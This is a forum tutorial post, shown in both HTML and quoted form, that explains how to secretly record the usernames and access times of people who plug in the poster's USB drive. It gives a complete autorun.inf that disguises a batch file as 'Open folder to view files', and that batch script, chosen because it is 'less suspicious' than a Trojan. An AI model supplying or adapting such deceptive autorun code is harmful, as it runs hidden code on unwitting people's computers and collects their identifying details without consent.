Search
Search titles only
By:
Search titles only
By:
Log in
Register
Search
Search titles only
By:
Search titles only
By:
Menu
Install the app
Install
Forums
New posts
All threads
Latest threads
New posts
Trending threads
Trending
Search forums
What's new
New posts
New ads
New profile posts
Latest activity
Free Ads
Latest reviews
Search ads
Members
Current visitors
New profile posts
Search profile posts
Contact us
Latest ads
Colombo
Red Hat Certified System Administrator (RHCSA) - RHEL 10
Sanjeewani95
Updated:
Friday at 7:43 PM
NURSING , CAREGIVER , HOTEL & BEAUTY COURSES
IVA Para Medical Campus
Updated:
Thursday at 9:24 AM
Handmade Character Soft Toys Peppa Pig Family
anil1961
Updated:
Wednesday at 9:58 PM
Ad icon
Video Content Creator
pramukag
Updated:
Jun 28, 2026
Ad icon
QA Engineer Intern
pramukag
Updated:
Jun 28, 2026
Electronics
Vehicles
Property
Search
Reply to thread
Forums
Computers & Internet
Tips & Tricks
Tips & Tricks Collection of DC
Get the App
JavaScript is disabled. For a better experience, please enable JavaScript in your browser before proceeding.
You are using an out of date browser. It may not display this or other websites correctly.
You should upgrade or use an
alternative browser
.
Message
<blockquote data-quote="||~DxxCxxxx~||" data-source="post: 5438254" data-attributes="member: 137393"><p><strong>Track USB Drive Users</strong></p><p></p><p><img src="http://img30.imageshack.us/img30/1111/l000036605b115d.jpg" alt="" class="fr-fic fr-dii fr-draggable " style="" /></p><p></p><p></p><p>How I can track users who used my USB drive after giving someone and get the usernames of the accounts where the pendrive was used. It can achieve this feat either by using Trojans or a combination of Batch and Autorun files. However,you must advise users to not to format the pendrive in order for this to work.The second option of <strong>Batch files</strong> was easy and less suspicious.So Here is how to made it possible to get the usernames when the pendrive was plugged into the PC. </p><p> </p><p></p><p>Create an <u>autorun.inf</u> file on the root of your flash drive/Pendrive with the following contents:<p style="margin-left: 20px"> <span style="font-family: 'Courier New'">[autorun] </span></p> <p style="margin-left: 20px"><span style="font-family: 'Courier New'">open=username.bat </span></p> <p style="margin-left: 20px"><span style="font-family: 'Courier New'">action=Open folder to view files</span> </p> <p style="margin-left: 20px"></p><p>Now, create a batch file called <u>username.bat</u> with the following contents:<p style="margin-left: 20px"> <span style="font-family: 'Courier New'">@echo off </span></p> <p style="margin-left: 20px"><span style="font-family: 'Courier New'">echo %username%>>users.dat </span></p> <p style="margin-left: 20px"><span style="font-family: 'Courier New'">date /t>>users.dat </span></p> <p style="margin-left: 20px"><span style="font-family: 'Courier New'">time /t>>users.dat </span></p> <p style="margin-left: 20px"><span style="font-family: 'Courier New'">start "Explorer" %SystemRoot%\explorer.exe</span></p> <p style="margin-left: 20px"></p> <p style="margin-left: 20px"></p><p><img src="http://img30.imageshack.us/img30/7387/48700982.jpg" alt="" class="fr-fic fr-dii fr-draggable " style="" /><span style="font-family: 'Courier New'"><strong></strong></span></p><p><span style="font-family: 'Courier New'"><strong></strong></span></p><p><span style="font-family: 'Courier New'"><strong>NOTE :</strong> The Last Line of the code is optional which will open the explorer in a new window.</span></p><p> </p><p>Save both file and you are good to go. Now whenever a user plugs your pendrive into their PC,it will display an autoplay option indicating that they have to click on the icon to open the drive to view its contents. A small <strong>DOS</strong> window will flash for a moment and then disappear.Now If you go into the root of the drive, you will find a new file called <u>users.dat</u> which will record the user names of all the users who have accessed your drive by clicking on the icon. You can open the DAT file using notepad and view its contents. </p><p></p><p> However..This is not a fool proof method as some geeks disable the autoplay option (or disable writing to USB drives) ,or they just bypass it by pressing RISHT SHIFT key when the pendrive is connected and hence their name will not be recorded or they can delete the <u>users.dat</u> file. But that said,it will work fine nevertheless</p><p> <span style="font-family: 'Courier New'"><strong></strong></span></p><p><span style="font-family: 'Courier New'"><strong>NOTE 2 :</strong> Umm..I think the above code is way too easy and harmless.</span></p></blockquote><p></p>
[QUOTE="||~DxxCxxxx~||, post: 5438254, member: 137393"] [b]Track USB Drive Users[/b] [IMG]http://img30.imageshack.us/img30/1111/l000036605b115d.jpg[/IMG] How I can track users who used my USB drive after giving someone and get the usernames of the accounts where the pendrive was used. It can achieve this feat either by using Trojans or a combination of Batch and Autorun files. However,you must advise users to not to format the pendrive in order for this to work.The second option of [B]Batch files[/B] was easy and less suspicious.So Here is how to made it possible to get the usernames when the pendrive was plugged into the PC. Create an [U]autorun.inf[/U] file on the root of your flash drive/Pendrive with the following contents:[INDENT] [FONT=Courier New][autorun] open=username.bat action=Open folder to view files[/FONT] [/INDENT]Now, create a batch file called [U]username.bat[/U] with the following contents:[INDENT] [FONT=Courier New]@echo off echo %username%>>users.dat date /t>>users.dat time /t>>users.dat start "Explorer" %SystemRoot%\explorer.exe[/FONT] [/INDENT][IMG]http://img30.imageshack.us/img30/7387/48700982.jpg[/IMG][FONT=Courier New][B] NOTE :[/B] The Last Line of the code is optional which will open the explorer in a new window.[/FONT] Save both file and you are good to go. Now whenever a user plugs your pendrive into their PC,it will display an autoplay option indicating that they have to click on the icon to open the drive to view its contents. A small [B]DOS[/B] window will flash for a moment and then disappear.Now If you go into the root of the drive, you will find a new file called [U]users.dat[/U] which will record the user names of all the users who have accessed your drive by clicking on the icon. You can open the DAT file using notepad and view its contents. However..This is not a fool proof method as some geeks disable the autoplay option (or disable writing to USB drives) ,or they just bypass it by pressing RISHT SHIFT key when the pendrive is connected and hence their name will not be recorded or they can delete the [U]users.dat[/U] file. But that said,it will work fine nevertheless [FONT=Courier New][B] NOTE 2 :[/B] Umm..I think the above code is way too easy and harmless.[/FONT] [/QUOTE]
Insert quotes…
Verification
Dawasata paya keeyak thibeda?
Post reply
Top
Bottom